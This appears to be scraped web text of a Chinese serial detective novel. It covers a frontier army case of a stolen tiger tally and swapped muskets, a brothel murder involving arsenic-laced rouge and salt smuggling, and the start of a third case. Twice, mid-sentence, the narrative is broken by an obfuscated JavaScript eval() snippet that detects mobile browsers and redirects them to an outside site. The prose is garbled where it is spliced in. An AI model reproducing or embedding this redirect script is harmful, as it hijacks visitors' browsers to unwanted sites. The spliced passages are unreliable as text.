狼山峪地形奇诡，主峰如狼首昂天，四条山脊如爪牙延伸。岳擎苍率亲兵沿东脊搜寻，辰时三刻，在鹰嘴岩下发现异状——岩缝里卡着半副铁甲，甲上镇北军徽记犹在，但护心镜被人以利器生生撬走。 “是赵镇恶的甲。”亲兵队长王猛细看甲缘，“甲缝里这血…还没全凝。” 岳擎苍以指蘸血捻搓，血呈暗红，带铁腥气，确是新鲜。他环顾四周，鹰嘴岩高十余丈，岩顶有老松斜出，松枝折断数根，断茬朝下。 “是从岩顶坠下的。”王猛判断。 “未必。”岳擎苍走向岩壁，见石上有数道擦痕，痕中嵌着青黑色碎屑。刮下细看，是铁器与山石剧烈摩擦留下的铁粉，混着…硫磺味。 “是火铳。”他沉声道，“有人在此开过铳。” 正说着，西脊传来哨箭尖啸——三短一长，是发现尸首的讯号。 尸首在断肠涧底，着右军号衣，面目被山石砸烂，但腰间皮囊还在。王猛割开皮囊，倒出块烧变形的铜牌，上刻“右军三营什长刘大勇”。 “是右军的人。”王猛翻检尸身，“左手虎口茧厚，是长年握刀；但右手…”他抬起尸身右腕，“腕骨有旧伤，握不紧刀——这是个左撇子。” 岳擎苍心中一动。镇北军规，凡左撇子入营，需在名册注明，因布阵时左撇子需列队左翼，免误伤同袍。他急唤文书：“查右军三营名册，可有个左撇子什长？” 文书翻册片刻，摇头：“三营一百二十人，无左撇子记录。” “那此人便不是刘大勇。”岳擎苍盯着尸体，“是有人杀了真刘大勇，换其号衣，伪作坠崖。至于赵镇恶…” 他忽俯身，从尸体紧攥的右手指缝中，剔出片东西——是半片染血的皮革，边缘整齐，像从某物上撕裂下来的。对着日光细看，皮上烙着模糊印文，只剩半个“军”字。 “是虎符的符囊。”岳擎苍起身，脸色难看，“赵镇恶遇袭时，符囊被扯裂，这半片落在死者手中。可虎符何在？” 无人能答。山风穿谷，呜咽如鬼哭。 二、 军库火铳 回营已过午时。岳擎苍径直往军械库，唤来库大使问话：“近日可有人领火铳？” 库大使呈上账簿：“三日前，右军统领赵镇恶亲领乌嘴铳十杆，火药五十斤，说是演练用。” “十杆铳，五十斤药…”岳擎苍翻账，“他一人来领的？” “带了两个亲兵，都着右军号衣。但…”库大使犹豫，“但那俩亲兵，面生得很。小人掌库七年，右军百夫长以上皆认得，那二人却…” “却怎样？” “却不像行伍之人。”库大使压低声音，“其中一个，递条子时露了手腕——腕子白净，无茧无疤，倒像书生。” 书生混入军营？岳擎苍合上账簿：“那十杆铳，可有编号？” “有！乌嘴铳是兵部新拨，每杆铳管底部皆刻‘天启戊辰’并序号。”库大使取来册子，“领走的是第七十一至八十号。” “验库。” 军械库分三层，火铳存于二层铁柜。开柜清点，八十杆乌嘴铳整齐排列，可岳擎苍逐杆查验，发现第七十五号铳的铳管底部——编号“七十五”的“五”字，刻痕略浅，且“天启戊辰”的“戊”字，缺了一撇。 “这杆是仿造的。”他举起铳，对着窗光看铳膛，“真铳膛线是螺旋十二槽，这杆…只有八槽，且深浅不均。” 王猛倒吸凉气：“有人以假铳换走真铳！可他们要火铳作甚？十杆铳，攻不了城，也破不了营…” “未必是攻城。”岳擎苍放下假铳，“或许，只是想制造‘军中有人私贩火器’的假象。” 他踱至库房西墙。墙上挂着幅《镇北防区全图》，狼山峪、断肠涧、鹰嘴岩皆在其上。但若以这三处为点，连成线… “这是条路。”岳擎苍以指划图，“从鹰嘴岩坠‘尸’，引我军搜寻；在断肠涧留假尸，拖延时辰；而真凶带着虎符与火铳，沿此路…”他指尖停在地图东北角，“进了黑松林。” 黑松林再往北三十里，便是北狄地界。 王猛骇然：“将军是说，赵镇恶私通北狄，盗虎符、火铳投敌？” “若真如此，他何需大费周章，又是假死又是换铳？”岳擎苍摇头，“直接携符带铳出关，岂不干净？” 他猛地想起一事：“赵镇恶的亲兵里，可有个叫‘陈秀才’的？” “有！”王猛道，“是个军中文书，因识字被赵统领留在帐中。但此人三日前告假归乡，说是老母病重…” “归乡？”岳擎苍冷笑，“他家乡在沧州，在北；黑松林，也在北。传令：点二百轻骑，随我入黑松林！” 三、 黑松暗营 黑松林古木参天，落叶积了尺厚。岳擎苍令骑队散开成扇形，悄声推进。行至林中空地，王猛忽举手示警——前方三十步，有座废弃的猎人木屋。 木屋门虚掩，窗纸尽破。岳擎苍贴墙静听，屋内传来压抑咳嗽，是个男子声音。他打个手势，亲兵破门而入。 屋中无人，唯地灶余烬尚温。灶旁草铺上，躺着个人，着百姓布衣，面色蜡黄，正是赵镇恶！他左胸缠着麻布，渗出血迹，但气息尚存。 “赵统领！”王猛急上前扶。 赵镇恶睁眼，见是岳擎苍，挣扎欲起：“将、将军…虎符…在陈…” “陈秀才？”岳擎苍按住他。 “是…是他。”赵镇恶喘息，“三日前，他说在狼山发现北狄探子踪迹，诱我前往…在鹰嘴岩，他的人突然发难，夺我虎符。我中箭坠岩，幸被松枝所挂，夜里爬进这猎屋…” “火铳呢？” “被他们带走了。十杆真铳，五十斤药…”赵镇恶惨笑，“他们要在…要在‘那地方’用…” 话音未落，屋外传来唿哨。岳擎苍疾步出屋，见林间人影幢幢，约二十余人，皆着黑衣，手持乌嘴铳，呈半圆围拢。为首者是个瘦高书生，正是陈秀才。 “岳将军，久仰。”陈秀才拱手，笑容温和，“赵统领所言不尽不实——非我诱他，实是他与我等同谋，欲以火铳、虎符，与北狄换一场富贵。只是分赃不均，内讧受伤罢了。” “胡说！”赵镇恶在屋内嘶吼。 陈秀才自怀中取出半片虎符，在掌中掂了掂：“虎符在此，将军可要查验？” 岳擎苍盯着他手中虎符。铜铸虎形，在秋阳下泛着暗金——确是右符。但他细看虎符边缘，见接口处有细微锉痕，心中了然。 “这符是假的。”他忽然道。 陈秀才笑容一僵。 “真虎符的虎尾，第三道斑纹是断的。因当年铸符时，工匠失手磕了模子。”岳擎苍自怀中取出左符，高举示众，“你看，左符此处也有断纹。可你手中那符，虎尾斑纹完整——是仿造的。” 黑衣人中起了一阵骚动。陈秀才脸色变幻，忽然大笑：“岳将军好眼力！可纵然符假，这十杆乌嘴铳却是真的！”他挥手，“放！” “轰——” 铳声炸响，却是从黑衣人身后的树冠传来！三名黑衣人应声倒地，余者大乱。只见四周树梢、岩后，冒出无数镇北军弓弩手，箭矢如蝗。 “你以为，我只带二百骑？”岳擎苍拔剑，“这黑松林，早被我军围了！” 混战顿起。陈秀才见势不妙，率残部往林深处逃。岳擎苍亲追，在一条溪涧边截住他。两人交手十余合，陈秀才武功稀松，被一剑刺穿右腿，擒下。 “说，真虎符何在？真火铳何在？”岳擎苍踩住他伤处。 陈秀才惨笑：“在…在狼山峪的‘将军墓’里…” “将军墓？”岳擎苍一怔。那是前朝一位将军的衣冠冢，早成废墟，无人祭祀。 “赵镇恶与北狄约定，今夜子时，在将军墓以虎符、火铳换千金。”陈秀才呕出口血，“至于我…我只是个账房，被他们逼着做假账、仿假符…” 岳擎苍命人绑了他，疾回木屋。可屋中空空，赵镇恶与王猛皆不见了踪影，只草铺上以血写着四字： “墓有伏，勿来。” 四、 将军墓局 子时，狼山峪将军墓。 说是墓，实为半座坍塌的石祠，碑倒椽朽，唯祠前石马尚存。岳擎苍伏在百步外山石后，见祠中有火光晃动，人影三四个。 他留大部人马在外围，自带十名好手潜近。至祠前十丈，忽听祠内传来赵镇恶的声音：“…千金在此，符与铳呢？” 另一人答，是生硬汉话：“先验符。” 岳擎苍探头窥视。祠中五人：赵镇恶倚柱而立，左胸伤处又渗出血；王猛持刀护在他身前；对面三人皆着皮袍，戴毡帽，是北狄打扮。地上敞开两口木箱，一箱金锭，一箱银锭，在火光下刺眼。 狄人首领接过赵镇恶递上的虎符，就火细看，点头：“是真符。铳呢？” 赵镇恶指向祠角。那里堆着十个长布包，解开，正是乌嘴铳。狄人抽出一杆验看，忽冷笑：“赵统领，这铳膛…是堵死的。” “什么？”赵镇恶变色。 “铳口灌了铅，火门塞了泥。这十杆铳，是废铁！”狄人摔铳于地，“你敢耍弄我等？” 赵镇恶愕然看向王猛。王猛却忽然退开三步，刀尖转向他：“统领，对不住。铳是我换的。” “你…”赵镇恶恍然，“是你！是你与陈秀才合谋…” “不错。”王猛微笑，“陈秀才是账房，我是执行。本计划天衣无缝，可惜岳将军来得太快。”他转向狄人，“虎符是真，金子留下。至于赵镇恶，随你们处置。” 狄人首领却摇头：“我们要的，不止虎符。”他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088161|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍手，祠外又涌入十余名狄人，持刀弯弓，“还要镇北军的布防图——听说，就在岳将军身上。” 暗处，岳擎苍心中一震。布防图是他随身携带，缝在甲内衬里，此事唯王猛知晓。原来这局，最终目标是他！ “岳将军，出来吧。”王猛扬声道，“我知道你在。” 岳擎苍缓缓起身，走入祠中火光范围。他盯着王猛：“你跟了我八年。” “是八年又三个月。”王猛笑容渐冷，“可将军记得吗？三年前我弟弟王勇，因贻误军机被你斩首。他不过迟到了一刻钟！” “那一刻钟，让左军三十名兄弟被围，全部战死。”岳擎苍一字一句，“军法如山。” “好个军法如山！”王猛嘶吼，“那今日，我也让你尝尝，被兄弟背叛的滋味！” 他挥刀扑来。岳擎苍拔剑相迎，两人在狭小石祠中激斗。刀剑相交，火星四溅。斗到二十合，岳擎苍卖个破绽，诱王猛直刺，侧身闪过，反手一剑刺入他肋下。 王猛踉跄倒地，狄人一拥而上。岳擎苍独战十余人，渐感不支。危急时，祠外杀声大作——镇北军伏兵尽出，与狄人战作一团。 混战中，赵镇恶忽然扑向那箱金子，竟从箱底抽出一杆完好的乌嘴铳！他填药装弹，对准狄人首领—— “轰！” 铳响人倒。狄人首领胸腹开花，余者胆寒，纷纷逃窜。岳擎苍趁机杀散残敌，再看赵镇恶，他倚箱而坐，手中铳管发烫，而左胸伤处血如泉涌。 “将军…”他惨笑，“那九杆铳确被我灌了铅，唯这杆…留着防身。我赵镇恶再糊涂，也不敢真通敌…只是被他们拿住把柄，不得不虚与委蛇…” “什么把柄？” 赵镇恶闭目：“三年前那场败仗…不是天灾，是我…我收了商人银子，买的军粮掺了沙。王勇延误军机，实是因为拉粮的车轴断了——粮袋太重，车受不住…” 岳擎苍如遭雷击。三年前朔风原之战，因军粮不足，士卒无力，导致大败。他一直以为是天灾，竟是…… “王猛知晓此事，以此要挟。我不得已，与他合谋盗符换铳，本想假意投敌，趁机刺杀狄人首领，将功折罪…”赵镇恶声音渐弱，“可如今…如今…” 他头一歪，气绝身亡。手中，仍紧握着那杆救命的火铳。 尾声虎符重铸 三日后，镇北军大祭。 校场前立了两座新坟：一碑“右军统领赵镇恶”，一碑“中军司马王猛”。岳擎苍亲奠三杯酒，一杯敬赵镇恶临阵反正，一杯叹王猛兄弟冤仇，一杯洒地，祭三年前朔风原战死的三千英灵。 祭毕，他当众熔了那对虎符——真的假的，一并投入炉中。铜汁沸腾时，他朗声道： “自今日起，镇北军不用虎符。调兵之权，不在符，在人；不在铜，在心。诸君共鉴：再有通敌、贪渎、残害同袍者——” 他拔剑，一剑斩断旗杆：“犹如此杆！” 全军肃然。春雪忽至，纷纷扬扬，覆盖了坟头新土，也覆盖了校场旧痕。 岳擎苍独坐帐中，取出那幅染血的布防图，就灯焚毁。灰烬飘散时，他轻声道： “镇恶，你说得对…有些罪，功抵不了；有些错，死赎不尽。但你能最后守住底线，没让火铳出关，没让布防图落敌手…这杯酒，你配喝。” 帐外风雪呼啸。他忽然想起少年时读《史记》，李广说“军中但闻将军令，不闻天子诏”。如今方知，将军令不是权，是责；不是符，是担。 这担子，他还要扛下去。 直到下一个赵镇恶，下一个王猛，在某个雪夜，做出属于他们的选择。 本章惕世 一、 军械双簧之诈 - 以假乱真：假虎符、假火铳、假尸首混淆视听 - 破解法：凡重要信物，必记暗记；凡军械出入，必核编号 - 示例：虎尾断纹、铳膛线数、尸身旧伤 二、 连环反间之诈 - 赵镇恶被迫为奸，王猛为复仇布局，陈秀才趁火打劫 - 破解法：凡见“多人合谋”，必有一人是被迫；凡称“血仇”，必查真相 - 示例：王勇贻误军机实因粮车超载，粮掺沙才是祸根 三、 底线守关之鉴 - 赵镇恶贪渎致败，但未通敌；王猛为弟报仇，但未害无辜 - 惕世：人皆有罪，罪有大小；人皆可恕，恕有底线 - 示例：赵临死用真铳杀敌，王未泄露布防图 军规补遗： 《镇北军律》“凡私动军械者，斩；凡通敌者，族；凡贪渎致败者，主犯斩，从犯充边。”然律是死的，人是活的。 后世诫： 虎符可熔，人心难铸。 军粮掺沙，三年方现。 兄弟阋墙，八载始发。 莫道军营铁板地，雪下尽是旧伤疤。 正是： 狼山秋深戟甲寒，虎符夜失乱峰峦。 假尸涧底留左癖，真铳林间验尾斑。 三载掺沙终现罪，八年怀刃始知奸。 雪覆新坟旧血在，将军独坐烬图看。 10. 琴剑烟花谳 楔子金牡丹宴 金陵城西燕子矶，有座“十二楼”。名虽为楼，实是三十六个院子勾连成的迷窟。每年上巳节，楼里要办“金牡丹宴”——不是赏花，是选花魁。 今年宴却邪性。酉时开宴，戌时三刻，东院“流霞阁”走了水。火倒不大，只烧了半间琴房，可琴房里溺死了个人。 死者是流霞阁的琵琶女，叫云遮月。人泡在焦黑的琴桌边，手里攥着半片烧残的笺，笺上就两字： “知了” 一、 焦琴余音 十二楼主事花想容，是个四十许的妇人。年轻时做过花魁，如今掌着这迷窟，眉眼还留着七分艳，三分狠。她引着金陵府刑房书吏沈墨进流霞阁时，阁里水还没排净。 “沈先生请看。”花想容指那焦尸，“遮月这孩子，戌时该在宴上弹《春江花月夜》的。可开宴前她说头疼，回房歇着。谁知…” 沈墨蹲身验尸。云遮月十八九岁，着杏子红缕金裙，发髻散乱，但妆容完好。口鼻有蕈样泡沫，是生前溺毙。可怪的是——她鬓边那支点翠蝴蝶簪，翅子断了一边。 “簪子断口新鲜。”沈墨举簪就窗光看，“是硬物撞击折断。但房中并无打斗痕迹。” 他环顾琴房。房不大，一琴一桌一榻。琴是焦尾桐木，已烧成炭；桌是紫檀，桌面有圈水渍，渍中浮着层油花；榻上被褥整齐，唯枕下压着本《乐府新声》，书页间夹着张当票。 当的是支玉搔头，当期三月，当银五十两。当铺印章：“宝通典”。 “遮月缺钱？”沈墨问。 花想容苦笑：“做我们这行，谁不缺钱？胭脂水粉、头面衣裳，月月都要添新的。不过…”她压低声音，“遮月这三月，花销格外大。光螺子黛就买了三盒，一盒十两。” “她接了阔客？” “接是接了，可怪就怪在——那客从不上门，只每月十五，差人送个锦盒来。盒里有时是首饰，有时是银票，每次都不下百两。”花想容从袖中取出个空锦盒，“这是上月送的，老身偷偷看过，里头是二百两的庄票。” 沈墨接过锦盒。杏黄杭缎，盒底绣着个“瑾”字。绣工极精，用的是苏绣双面绣技法，正面看是“瑾”，反面看是“谨”。 “这客人，你可有猜测？” 花想容犹豫片刻，以指蘸茶水，在焦桌上写了个字：“盐”。 金陵盐商，富可敌国。可盐商为何要偷偷供养一个琵琶女？还用的是暗含“谨”字的暗号？ 沈墨正思量，窗外忽然飘进阵琴声。调子是《猗兰操》，但弹得滞涩，弦中带杀伐之音。他推窗望，见对面西院“撷芳楼”的露台上，坐着个白衣女子，正垂首抚琴。 “那是撷芳楼的花魁，秦惊鸿。”花想容道，“与遮月…不太对付。” “因何？” “去年金牡丹宴，本该是惊鸿夺魁。可遮月临场弹了曲自度的《燕子辞》，满座皆惊，硬生生抢了花魁。”花想容叹道，“惊鸿那孩子心高，这半年再没碰过琴。今日倒奇了…” 琴声忽断。秦惊鸿起身，白衣在夜风中飘荡如鬼。她朝流霞阁望了一眼，那眼神——沈墨在刑房二十年，从未见过这般冷的眼。 不是恨，是死寂。 二、 锦盒连环 次日，沈墨访宝通典当铺。掌柜是个独眼老头，听问玉搔头，从账本里翻出记录： “三月十二，一女子持玉搔头来当。那玉是和田籽料，雕作并蒂莲，市价少说三百两。她急当，只要五十两，当期三月。老朽多嘴问句为何急用，她说…要赎身。” “赎身价多少？” “十二楼的规矩，一等姑娘赎身五百两，二等三百。遮月姑娘是一等，但若有人愿出千两，主家也会放。”独眼掌柜凑近，“说来也怪，自她当玉后，每月十五都有个戴帷帽的女人来，不是赎当，是续当——每次添二十两利息，让再续三月。昨儿刚来过。” “昨日？”沈墨一惊，“昨日何时？” “申时三刻。那女人穿青缎斗篷，帷帽垂到胸口，看不清脸。但老朽注意到…”掌柜压低声音，“她递银票时，袖口露出手腕，腕上有道旧疤，形如新月。” 新月疤。沈墨猛然想起昨日验尸，云遮月左腕也有道疤，位置形状皆同。是巧合，还是… 他匆匆回府衙，调出十二楼所有姑娘的验身册——这是金陵府为防命案特设的，凡青楼女子入院，需记录体貌特征。翻到秦惊鸿那页： “左腕有新月状烫疤，乃幼时被炭火所伤。” 沈墨合上册子。所以，昨日去当铺续当的，是秦惊鸿？她为何要替云遮月续当？二人不是死对头么？ 正沉吟，衙役来报：十二楼又出事了。 三、 胭脂杀局 这回是撷芳楼。秦惊鸿的贴身丫鬟小桃，被发现在后园井中。人还没死，但撞破了头，昏迷不醒。发现她的是厨娘，说看见个穿红裙的女人往后园跑，但夜色朦胧，没看清脸。 沈墨赶到时，秦惊鸿正在井边哭。她已换下白衣，着水绿襦裙，哭得梨花带雨：“小桃替我取胭脂，一去不回…若她有个三长两短，我也不活了！” “姑娘莫急。”沈墨察看井台，见青苔上有道拖痕，痕旁落着个胭脂盒。盒是掐丝珐琅的，盒底刻着“宝香斋”。打开，胭脂用了大半，但膏体表面有处凹陷——像是指甲抠过的痕迹。 “这胭脂，可是姑娘的？” 秦惊鸿点头：“是遮月…是云姐姐上月送我的。她说这颜色配我。” 沈墨心中一动。他将胭脂盒凑近鼻端，除却花香，还嗅到丝极淡的苦杏味。以银簪探入膏体，簪尖泛黑。 “砒霜。”他沉声道。 秦惊鸿骇然后退。沈墨却盯着她：“云遮月送你胭脂，你可用过？” “用、用过两次。但近日脸色不佳，便停了…” “幸好停了。”沈墨盖上盒子，“这砒霜分量，连用十日必死。送你胭脂的人，想要你的命。” “不可能！”秦惊鸿脱口而出，“云姐姐她…”她忽咬住唇。 “她如何？” 秦惊鸿低头良久，才轻声道：“三个月前，云姐姐来找我，说有人要逼她做件事。若不做，便要毁她容貌。她求我…求我帮她演场戏。” “什么戏？” “装作与她不合，在人前争锋。”秦惊鸿泪如雨下，“她说，唯有让那人以为她孤立无援，那人才会露出马脚。这胭脂…这胭脂也是戏的一部分。她说里头只是寻常朱砂，让我假装中毒，引出真凶…” 沈墨愕然。所以二人并非真敌，是在做局？那云遮月之死，是因为假戏真做，被灭口了？ “逼她的是何人？” 秦惊鸿摇头：“她不肯说，只说那人权势滔天，捏着她天大的把柄。”她忽然想起什么，“但她给过我一个锦囊，说若她有不测，便让我打开…” “锦囊何在？” “在我枕中。” 众人急回撷芳楼。秦惊鸿从枕芯里摸出个杏黄锦囊，与那装庄票的锦盒一模一样！囊中无信，只有把黄铜钥匙，匙柄刻着“甲字七号”。 这是典当行储物柜的钥匙。 四、 典当死信 再访宝通典，以匙开甲字七号柜。柜中无金银，只有一摞信，并一幅画卷。 信共十二封，每月一封，笔迹矫饰，但沈墨一眼认出——这是左手书，故意写歪斜。内容皆是胁迫： “三月初五：已为你备好‘知了’毒，混入目标胭脂。事成，赎身银加倍。” “四月初二：目标已用胭脂三次，面色渐青。续用十日，可使其慢性毙亡，状若痨病。” “五月初一：金牡丹宴当日，汝需在流霞阁等候。得手后，自有人接应出城。” 最后一封是昨日所写：“戌时三刻，流霞阁。若不来，幼弟性命不保。” 每封信尾，都画着只知了。 画卷展开，是幅《仕女调琴图》。画中女子着杏红裙，正在调焦尾琴，面容与云遮月七分相似。但细看，女子身后屏风上，以淡墨勾着个模糊人影——戴帷帽，身形似女子，左手执卷，卷上隐约可见“盐法”二字。 “盐法…”沈墨猛然想起花想容写的那个“盐”字。 他急回府衙，调阅近年盐案卷宗。翻至三个月前一桩：两淮盐运使周延礼被参贪污，家产抄没，但其幼子周瑾下落不明。卷中附周瑾画像，是个十七八岁少年，眉眼… 竟与云遮月有五分相似！ “云遮月是周瑾的姐姐。”沈墨恍然，“盐案爆发，周家败落，她沦落风尘。有人捏着她幼弟，逼她毒杀秦惊鸿。但她不愿害人，便与秦惊鸿合谋做局，想引出真凶。可对方识破，昨日将她灭口…” “可为何要杀秦惊鸿？”衙役不解。 沈墨重看那些信。“目标”二字，始终未提秦惊鸿之名。或许，真凶要杀的本就不是秦惊鸿，而是另一个用这胭脂的人。 他猛然想起昨日金牡丹宴，谁会与秦惊鸿用同款胭脂？ “宴上女客，都用何胭脂？” 衙役答道：“十二楼的规矩，宴上姑娘皆用主家统一定的‘醉芙蓉’。但今年，花想容说醉芙蓉断货，让姑娘们自带胭脂。” 自带胭脂。所以，只有秦惊鸿用了云遮月送的这盒。若真凶本要杀的是别人，却误让秦惊鸿用了… “查！昨日宴上，还有谁用宝香斋的胭脂？” 一个时辰后，名单来了。用宝香斋胭脂的，只有三人：秦惊鸿、花想容、以及…金陵府尹新纳的宠妾，柳盈盈。 柳盈盈昨日也在宴上，坐主桌。 五、 屏风人影 府尹宠妾，怎会成刺杀目标？沈墨不敢妄动，只暗中查访柳盈盈来历。这一查，查出桩旧事： 三年前，两淮盐运使周延礼被参前，曾密呈账本，揭发盐商勾结官府，私贩官盐。账本直指金陵府尹。不久周家被抄，账本失踪。而柳盈盈，正是三年前入的府尹府，此前来历不明。 沈墨夜访撷芳楼，将所知尽告秦惊鸿。秦惊鸿听罢，沉默良久，忽然道：“沈先生可记得，那幅画屏风上的人影？” “记得，左手执卷，卷有‘盐法’二字。” “那是我添的。”秦惊鸿轻声道，“三个月前，云姐姐让我临摹那画，说若她有不测，便在屏风上添个左手执卷的人。我问为何，她说…那人是左撇子。” 左撇子。沈墨想起那些左手书的信。 “她还说，那人右手腕应有道疤，是幼时被琴弦割伤所致。”秦惊鸿抬眼，“昨日宴上，我留意了所有女客手腕。有疤的只有一个——” “谁？” “花想容。” 沈墨怔住。那个掌着十二楼，看似为云遮月之死痛心的主事？ “但她右手无疤。”秦惊鸿补充，“她是左手有疤。” 左手有疤的左手撇子。所以屏风人影是左手执卷。所以信是左手书写。 一切豁然开朗。 “可动机呢？”沈墨不解，“花想容为何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088162|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要杀柳盈盈？又为何捏着周瑾要挟云遮月？” 秦惊鸿从妆台下取出本泛黄册子：“这是云姐姐留下的。她说，若她死，让我将此物交予可信之人。” 册子是花想容的私账。记录的不是皮肉生意，是盐——私盐。原来十二楼不仅是青楼，还是私盐转运的暗桩。而柳盈盈，三年前曾是花想容手下的姑娘，后被府尹赎身。她知晓太多秘密，花想容要灭口。 至于周瑾，他被花想容藏匿，用作控制云遮月的棋子。云遮月为保弟弟，不得不从，但又良心未泯，便与秦惊鸿设局，想借“胭脂案”揭开花想容。可惜，被识破灭口。 “昨日那场火…”沈墨喃喃。 “是花想容放的。”秦惊鸿泪下，“云姐姐戌时在琴房等她，想以账本换弟弟。可花想容直接下了毒手，还伪造溺毙，放火毁迹。那‘知了’字条，是云姐姐临死前留的暗号——知了知了，蝉蜕逃生。她是想告诉我们，真凶是‘蝉’…” 蝉。花想容的花名，正是“玉蝉”。 六、 金蝉脱壳 沈墨急调衙役围十二楼。可赶到时，东院已空。花想容的房中，妆台上有封信： “沈先生台鉴：妾本盐枭之女，父死仇手，沦落风尘。二十年经营，不过为雪家仇。柳氏背主，周女叛我，皆该杀。今事泄，妾自当离去。周瑾在城西土地庙，无恙。至于那本账册——在府尹书房左第三格《论语》夹层中。先生欲清盐政，可自取。玉蝉拜别。” 衙役搜城西土地庙，果然找到个少年，正是周瑾。他怀中抱着个布包，内装盐商与官员往来密信，涉及金陵半城权贵。 而府尹书房，《论语》夹层中，账册赫然在目。 三日后，金陵府尹被革职查办，十二楼查封。但花想容如蒸发般，再无踪迹。 沈墨站在流霞阁废墟前，秦惊鸿抱着焦尾琴残骸走来。 “这琴，是云姐姐最珍爱的。”她轻抚焦木，“她说，琴有九德，人亦该有九品。她一生未做到，但最后…守住了‘信’字。” “何信？” “不害无辜之信，不叛知己之信。”秦惊鸿望向远方，“她本可用那胭脂毒我，向花想容交差。可她选了条死路。” 沈墨沉默。许久，道：“秦姑娘今后有何打算？” “赎身，离开金陵。”秦惊鸿微微一笑，“用云姐姐当玉搔头的五十两，加上我这年的积蓄，够了。去江南，开间绣庄，教女孩子针黹——总比弹琴卖笑干净。” 她俯身，将焦尾琴残骸埋入土中，立了块无字碑。 “不刻名？” “名字会忘，曲子会忘，恩仇也会忘。”秦惊鸿起身，白衣在晚风中飘荡，“但有人曾在这泥淖里，干净地活过、死过——这件事，该让后来人知道。” 她转身离去，再不回头。 沈墨独立废墟，忽闻蝉鸣乍起，嘶哑凄厉，如泣如诉。 知了知了，究竟知了什么？ 或许，那只金蝉早脱壳而去，留下的，不过是具空壳，和满城盛夏的、喧嚣的、无用的蝉噪。 尾声胭脂新色 三个月后，沈墨路过新桥市，见一绣庄开张，名“知了绣苑”。店主是个白衣女子，正教几个女孩分丝线。她抬头，与沈墨对视片刻，颔首一笑。 柜上摆着盒新胭脂，标签手书：“惊鸿色”。 沈墨买下一盒。归家后，他夫人试用，赞不绝口：“这颜色真好，不似寻常胭脂艳俗，倒像…像晚霞将尽时，天边那抹最后的亮色。” 他望向窗外。夕阳正沉，十二楼的废墟上，野草已长到齐腰高。 而在更远的江南，某个水乡小镇，或许正有个戴帷帽的妇人，对着铜镜，轻轻抹上一抹“醉芙蓉”。 胭脂会褪色，秘密会腐朽，蝉会死去。 但总有一些颜色，不肯褪去。 总有一些人，不肯忘记。 本章鉴世 一、 胭脂□□之诈 - 以日常用品为毒器，利用赠与关系掩盖杀机 - 破解法：凡收赠品，须察赠者神情；凡用新品，先验质地气味 - 示例：胭脂苦杏味、膏体指甲痕、银簪验毒 二、 假敌真友之局 - 云遮月与秦惊鸿明争暗合，以假不合掩护真同盟 - 破解法：凡见“死对头”，察其私下有无交集；凡称“深仇”，验其有无实质伤害 - 示例：当铺续当、锦囊托付、胭脂预警 三、 金蝉脱壳之计 - 花想容以青楼为私盐掩护，事败即弃二十年基业 - 惕世：越是庞大产业，越可能藏惊天秘密；越是长袖善舞，越可能随时抽身 - 示例：十二楼三十六院实为走私网，账册藏于《论语》 风月诫： 胭脂可饰面，难饰心；琴弦可调音，难调命。 金蝉脱壳时，方知多年繁华皆虚壳；焦尾埋土后，始信一缕清音是永恒。 后世叹： 十二楼台夜夜歌，谁知弦外阴谋多。 胭脂□□惊鸿色，锦盒连环玉蝉窠。 焦尾琴埋无字碑，私盐账现满城疴。 江南忽报新绣苑，知了声中旧恨磨。 正是： 金牡丹宴起腥风，焦尾琴焚烈焰中。 胭脂盒藏砒霜白，锦囊钥现典当空。 假作仇雠双璧泪，真为姐弟一线穷。 蝉蜕空壳余残响，知了声声夏已终。 11. 天街市骨谳 楔子雨夜泥偶 汴京东郊天街的清晨，是从挑粪工的吆喝开始的。腊月廿三，年关将近，南城的炭行、北城的米市、西城的绸庄都已挂出红灯笼。可天街尽头那片泥潭——百姓叫“烂泥塘”的地方，却浮出件怪东西。 是个泥偶。人形，三尺高，四肢俱全，面朝下漂在墨绿的积水上。最先发现的菜贩以为浮尸，报了坊正。坊正带人捞起，却发现是泥塑的，只是这泥偶怀里，紧紧抱着一卷账册。 账册浸透了泥水，但内页的朱批还能辨认： “宣和六年，炭敬银三万两，收讫。” “宣和七年，冰敬银五万两，收讫。” “宣和八年，干折银八万两，收讫…” 每笔下头，都签着个花押——“石敢当”。 一、 泥偶胎记 汴京府刑曹参军陆文秀赶到时，泥偶已被拾到土地庙前。这陆参军年过四旬，圆脸细眼，总像没睡醒，可手指在泥偶后颈一抹，忽然说了句：“是活泥。” “何为活泥？”年轻的书办问。 “寻常泥塑，用河泥拌稻草，塑成后阴干。可这泥…”陆文秀捻着指尖的泥屑，“掺了糯米浆、鸡血、还有朱砂。是‘养尸泥’的配方。” 书办变色。养尸泥是道家封镇邪祟所用，怎会用来塑偶？更奇的是，陆文秀在泥偶左肩发现处凹陷——形如月牙，深半寸，像是塑泥时，故意按了什么东西进去。 “剖开。” 泥刀剖开左肩，泥中滚出枚铜钱。钱是“开元通宝”，但背面被人磨平，刻了四个小字： “城南义庄” “这是…标记？”书办拾起铜钱。 “是路引。”陆文秀起身，“去城南义庄。” 城南义庄在汴梁门外三里，原是前朝赈灾所建，如今荒废多年。守庄的是个驼背老卒，姓郭，年轻时在边军当过火头军。见官差来，他颤巍巍开门，院里整整齐齐摆着十七口薄棺。 